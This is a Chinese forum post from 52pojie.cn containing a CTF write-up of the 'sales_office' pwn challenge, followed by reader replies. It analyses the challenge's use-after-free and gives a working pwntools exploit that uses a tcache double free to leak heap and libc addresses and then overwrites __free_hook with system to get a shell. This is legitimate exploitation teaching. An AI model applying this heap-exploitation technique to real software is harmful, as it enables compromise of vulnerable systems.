吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12731|回复: 27
收起左侧

[漏洞分析] 安恒4月月赛 pwn2 sales_office(fastbin double free)

  [复制链接]
nigacat 发表于 2020-4-27 21:15
本帖最后由 nigacat 于 2020-4-28 16:18 编辑

前几天打了安恒4月月赛,pwn2给我的感觉还挺巧妙的 ,今天复盘一下,把具体的利用过程理一下,顺带复习
远端环境已经无了,题目glibc版本是2.27 ubuntu18.04(会涉及到一些tcache的知识)
本地调试用虚拟机自带的libc就行


首先IDA分析

ida分析

ida分析

典型的菜单选择题目 其中buy 用于申请,第二个功能不可用,show用于打印,sell用于free
深入分析每一个函数的具体实现
1.buy

buy函数分析

buy函数分析

arena为全局数组 位于bss段 地址0x6020a0

申请一个堆块是会有两次malloc一次固定的 area[v0] = (void **)malloc(0x10uLL);用于存放后续的堆地址(堆块大小为固定的0x20),命名为指针堆块
第二次malloc(size)申请出用户指定大小的堆块
需要说明的是如果第二次的size为0x10那么这个堆块(命名为数据堆块)就会和指针堆块相邻
申请完成后接受输入内容,不存在堆溢出漏洞
2.show

show函数分析

show函数分析

正常的打印功能,puts()内的参数为指针堆块的指针(该指针指向数据堆块的data段,不是指向数据堆块的首地址)
打印的检查为指针堆快(指针堆快的地址存放于area[v0])是否为空,不为空时将指针指向的内容打印出,这一点在后续的泄漏还会用到

3.sell

sell函数分析

sell函数分析


该函数主要功能为free ,free掉指针堆块和数据堆块,但是在free之后没有将指针置为null
是一个典型的uaf 漏洞


pwntools开始编写脚本
首先给出定义的一些函数 ,方便后续操作

def new(size,content):
    p.sendlineafter('choice:','1')
    p.sendlineafter('house:',str(size))
    p.sendafter('your house:',content)
def show(index):
    p.sendlineafter('choice:','3')
    p.sendlineafter('index:',str(index))
def free(index):
    p.sendlineafter('choice:','4')
    p.sendlineafter('index:',str(index))



1.通过double free 构造环状链表泄漏堆地址
new(0x10,'aaaa') #0
new(0x10,'bbbb') #1
new(0x10,'cccc') #2
new(0x10,'dddd') #3
#pause()1
free(2)
free(0)
#pause()2
free(0)
show(0)
#pause()3

首先我们观察一下pause1时的堆块分布情况(每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行

heap分布

heap分布

此时的area全局数组的情况如下

area分布

area分布

通过上面两图,可以清楚的发现指针的指向关系:
area[v0]->指针堆块的数据段,指针堆块的数据段的存放的是指向数据堆块数据段的指针(有点绕,得把关系理清楚
我们可以通过先free chunk2让两个大小为0x20的堆块进入tcache链中
然后再free chunk0 再让chunk0的两个大小为0x20的堆块进入tcache链中
此时我们查看pasue2时的堆块分布情况
此时被释放的堆块进入到tcache链中 关于tcache的相关知识 给出一个链接,里面有比较详细的解释(tcache为先进后出出的结构,图中的tcache链是从左边进入)
https://www.jianshu.com/p/3ef98e86a913

heap分布2

heap分布2

heap3

heap3

可以发现,chunk1的数据堆块和指针堆块都不为空,指针堆块指向数据堆块的数据段,数据堆块指向chunk2的指针堆块的数据段。
堆块链表的情况为:

chunk0_p->chunk0_d->->chunk2_p->chunk2_d

此时满足sell函数 free(area[v0]),free(*area[v0])的条件
即可以对chunk0进行double free 造成一个环形链表

堆块链表的情况应该是
chunk0_p->chunk0_d->chunk0_p->chunk0_d->->chunk2_p->chunk2_d
此时已经形成了一个环形链表
chunk0_p->chunk0_d->chunk0_p->chunk0_d
此时我们在pause3处观察heap分布情况

泄漏堆地址

泄漏堆地址

我们发现tcache 中已经构成了环形链表

此时show(0)即可打印出堆地址
减去偏移0x260即可得到堆基地址
p.recvuntil('house:\n')
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x260
log.info('HEAP:\t'+ hex(heap_base))

堆地址泄漏

堆地址泄漏

可以看到已经泄漏出了堆的基地址

2.写入elf.got['__libc_start_main'],泄漏libc基地址
具体代码如下
new(0x10,p64(heap_base + 0x2A0))
#pause()
new(0x20,'eeee')
#pause()
new(0x10,p64(elf.got['__libc_start_main']))
show(1)# 泄漏地址
#pause()
p.recvuntil('house:\n')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
pause()

此时tcache 链表中的堆块情况为:
chunk0_p->chunk0_d->chunk0_p->chunk0_d

此时的堆分布

此时的堆分布

area分布如图

area分布2

area分布2

我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址
首先看 new(0x10,p64(heap_base + 0x2A0)) 后的结果
每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行
图片.png

new(0x20,'eeee')的目的在于,首先消耗掉tcache链中最左边的大小为0x20的一个堆块(0x15ec260)
然后数据堆块的大小为0x30 tcache 链中没有符合大小的堆块,0x15ec280堆块(大小为0x20)得以保留,
new(0x10,p64(elf.got['__libc_start_main']))的时候就会出现一个错位的情况(精妙之处),原本的数据堆块(0x15ec280)用于存放指针,
而原本的指针堆块(0x15ec2a0,此堆块对应chunk1_p)则用于存放了我们的数据(libc_start_main.got)
反过来再看我们开头说的“我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址”
我们已经成功的写入了got ,利用puts即可泄漏

泄漏libc

泄漏libc



3.在已经知道libc地址的情况下,修改free_hook为system,通过free(p),p为指向"bin/sh\x00"的字符串,获取shell
具体代码如下
free(3)
free(3)
new(0x10,p64(free_hook))
pause()
new(0x20,'/bin/sh\x00')
new(0x10,p64(system))
free(8)
p.interactive()

此时的对分布情况如图

heap分布3

heap分布3


利用1中的原理 两次free(3) 造成环状链表

环状链表2

环状链表2

new(0x10,p64(free_hook))
之前的tcache 链如下:
chunk3_p->chunk3_d->chunk3_p->chunk3_d
执行 new(0x10,p64(free_hook))之后的tcache 链如下:
chunk3_p->chunk3_d->free_hook

free_hook进入链表

free_hook进入链表


new(0x20,'/bin/sh\x00')
跟上面的错位原理一样,我们需要free_hook刚好作为数据堆块分出

错位后

错位后


图中标出的即为free_hook
当我们再次执行new(0x10,p64(system))的free_hook会被以数据堆块的形式分配出
这就造成了free_hook被修改为system
此时我们只需确定'/bin/sh\x00'所在堆块的下标号
通过free()即可大功告成!

area分布3

area分布3


对比堆块内容 我们发现下标为8


get shell

get shell


终于完成了!!!

最后附上exp和文件

exp.rar (636 Bytes, 下载次数: 36)

sales_office.rar (3.37 KB, 下载次数: 34)
还是太菜了,pwn真的是一门艺术

sales_office.rar

3.37 KB, 下载次数: 18, 下载积分: 吾爱币 -1 CB

题目文件

免费评分

参与人数 14吾爱币 +11 热心值 +14 收起 理由
Eirc + 1 + 1 用心讨论,共获提升!
wrx + 1 我很赞同!
poisonbcat + 1 + 1 谢谢@Thanks!
mcwindy + 1 + 1 我很赞同!
lalala17 + 1 + 1 谢谢@Thanks!
sunnylds7 + 1 + 1 热心回复!
魅夜 + 1 + 1 热心回复!
yixi + 1 + 1 热心回复!
gaosld + 1 + 1 用心讨论,共获提升!
smile5 + 1 谢谢@Thanks!
zhleon + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
韬. + 1 + 1 谢谢@Thanks!
fengzhipinglian + 1 用心讨论,共获提升!
手撕牛肉 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| nigacat 发表于 2020-4-29 10:03
15135094220 发表于 2020-4-28 23:57
下载不了第一个附件呀

链接:https://pan.baidu.com/s/162jXBpnK6AeEqKjNEyvNqw
提取码:qz9y
小天使xx 发表于 2020-4-28 00:57
无名之涟 发表于 2020-4-28 14:23
 楼主| nigacat 发表于 2020-4-28 20:34
无名之涟 发表于 2020-4-28 14:23
下载不了第一个附件呀,大大

重试一下
TMAC 发表于 2020-4-28 23:49
推荐7z或者zip
15135094220 发表于 2020-4-28 23:57
下载不了第一个附件呀
墨白先生 发表于 2020-4-30 10:11
吾等凡人前来膜拜
yinhuilin2019 发表于 2020-4-30 10:17
吾等凡人前来膜拜
若鸽丶ROGUE 发表于 2020-5-1 13:02
吾等凡人前来膜拜
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 12:37

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表